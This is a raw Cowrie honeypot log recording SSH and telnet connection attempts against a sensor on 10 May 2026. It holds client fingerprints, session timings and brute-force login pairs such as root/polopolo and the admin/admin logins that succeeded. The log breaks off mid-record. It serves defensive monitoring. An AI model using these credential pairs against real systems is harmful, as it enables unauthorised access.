{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:01:56.036975Z","src_ip":"103.15.226.202","session":"605bc172e8e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:01:56.293749Z","src_ip":"103.15.226.202","session":"605bc172e8e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Yun@wocloud.szkj","message":"login attempt [root/Yun@wocloud.szkj] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:01:57.068568Z","src_ip":"103.15.226.202","session":"605bc172e8e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:01:58.328637Z","src_ip":"103.15.226.202","session":"605bc172e8e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.141","src_port":20406,"dst_ip":"10.17.0.5","dst_port":22,"session":"22f15fb3fc24","protocol":"ssh","message":"New connection: 45.148.10.141:20406 (10.17.0.5:22) [session: 22f15fb3fc24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:02:20.512699Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PUTTY","message":"Remote SSH version: SSH-2.0-PUTTY","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:02:20.517826Z","src_ip":"45.148.10.141","session":"22f15fb3fc24","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5bd26477da5440a6187bd3f1b39a429c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5bd26477da5440a6187bd3f1b39a429c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:02:20.603969Z","src_ip":"45.148.10.141","session":"22f15fb3fc24","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:02:20.977319Z","src_ip":"45.148.10.141","session":"22f15fb3fc24","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":45552,"dst_ip":"10.17.0.5","dst_port":23,"session":"8e7845b3338a","protocol":"telnet","message":"New connection: 212.55.149.117:45552 (10.17.0.5:23) [session: 8e7845b3338a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:03:16.993075Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.120.213.13","src_port":57738,"dst_ip":"10.17.0.5","dst_port":22,"session":"f1239f2ef51b","protocol":"ssh","message":"New connection: 37.120.213.13:57738 (10.17.0.5:22) [session: f1239f2ef51b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:03:37.249524Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:03:37.254378Z","src_ip":"37.120.213.13","session":"f1239f2ef51b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"19532158b559096b89b1a5f7d17175b2","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,arcfour128,arcfour,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 19532158b559096b89b1a5f7d17175b2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:03:37.358203Z","src_ip":"37.120.213.13","session":"f1239f2ef51b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:03:37.589275Z","src_ip":"37.120.213.13","session":"f1239f2ef51b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:03:37.695131Z","src_ip":"37.120.213.13","session":"f1239f2ef51b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"130.12.180.51","src_port":30144,"dst_ip":"10.17.0.5","dst_port":22,"session":"2dff2165240f","protocol":"ssh","message":"New connection: 130.12.180.51:30144 (10.17.0.5:22) [session: 2dff2165240f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:03:38.799400Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:03:38.804279Z","src_ip":"130.12.180.51","session":"2dff2165240f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5f904648ee8964bef0e8834012e26003","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5f904648ee8964bef0e8834012e26003","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:03:38.886416Z","src_ip":"130.12.180.51","session":"2dff2165240f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:03:39.743792Z","src_ip":"130.12.180.51","session":"2dff2165240f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:03:41.424036Z","src_ip":"130.12.180.51","session":"2dff2165240f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":62.988198041915894,"message":"Connection lost after 62 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:04:19.981115Z","src_ip":"212.55.149.117","session":"8e7845b3338a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":40036,"dst_ip":"10.17.0.5","dst_port":22,"session":"132a6aecd2fb","protocol":"ssh","message":"New connection: 103.15.226.202:40036 (10.17.0.5:22) [session: 132a6aecd2fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:05:31.469192Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:05:31.474451Z","src_ip":"103.15.226.202","session":"132a6aecd2fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:05:31.718276Z","src_ip":"103.15.226.202","session":"132a6aecd2fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"polopolo","message":"login attempt [root/polopolo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:05:32.453664Z","src_ip":"103.15.226.202","session":"132a6aecd2fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:05:33.701013Z","src_ip":"103.15.226.202","session":"132a6aecd2fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.223.80","src_port":37220,"dst_ip":"10.17.0.5","dst_port":22,"session":"81aa158a6542","protocol":"ssh","message":"New connection: 57.128.223.80:37220 (10.17.0.5:22) [session: 81aa158a6542]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:05:42.921083Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:05:42.942441Z","src_ip":"57.128.223.80","session":"81aa158a6542","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:05:43.044576Z","src_ip":"57.128.223.80","session":"81aa158a6542","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"Qwerty1","message":"login attempt [user/Qwerty1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:05:43.459438Z","src_ip":"57.128.223.80","session":"81aa158a6542","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:05:44.701033Z","src_ip":"57.128.223.80","session":"81aa158a6542","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":29072,"dst_ip":"10.17.0.5","dst_port":23,"session":"d5de976bec4b","protocol":"telnet","message":"New connection: 212.55.149.117:29072 (10.17.0.5:23) [session: d5de976bec4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:06:03.328591Z"}
{"eventid":"cowrie.session.connect","src_ip":"181.209.89.155","src_port":47494,"dst_ip":"10.17.0.5","dst_port":23,"session":"c5bbaa7dea21","protocol":"telnet","message":"New connection: 181.209.89.155:47494 (10.17.0.5:23) [session: c5bbaa7dea21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:06:06.872988Z"}
{"eventid":"cowrie.session.closed","duration":56.660361766815186,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:06:59.988832Z","src_ip":"212.55.149.117","session":"d5de976bec4b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.100","src_port":42335,"dst_ip":"159.203.135.109","dst_port":22,"session":"cbccc4f5ea54","protocol":"ssh","message":"New connection: 193.24.211.100:42335 (159.203.135.109:22) [session: cbccc4f5ea54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:07:24.114525Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:07:24.118881Z","src_ip":"193.24.211.100","session":"cbccc4f5ea54","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:07:24.325813Z","src_ip":"193.24.211.100","session":"cbccc4f5ea54","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!QAZ@wsx","message":"login attempt [root/!QAZ@wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:07:24.754521Z","src_ip":"193.24.211.100","session":"cbccc4f5ea54","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:07:25.866025Z","src_ip":"193.24.211.100","session":"cbccc4f5ea54","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.004962682724,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:08:06.877817Z","src_ip":"181.209.89.155","session":"c5bbaa7dea21","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":43020,"dst_ip":"10.17.0.5","dst_port":22,"session":"4db05edc5b0a","protocol":"ssh","message":"New connection: 103.15.226.202:43020 (10.17.0.5:22) [session: 4db05edc5b0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:09:07.572113Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:09:07.578853Z","src_ip":"103.15.226.202","session":"4db05edc5b0a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com"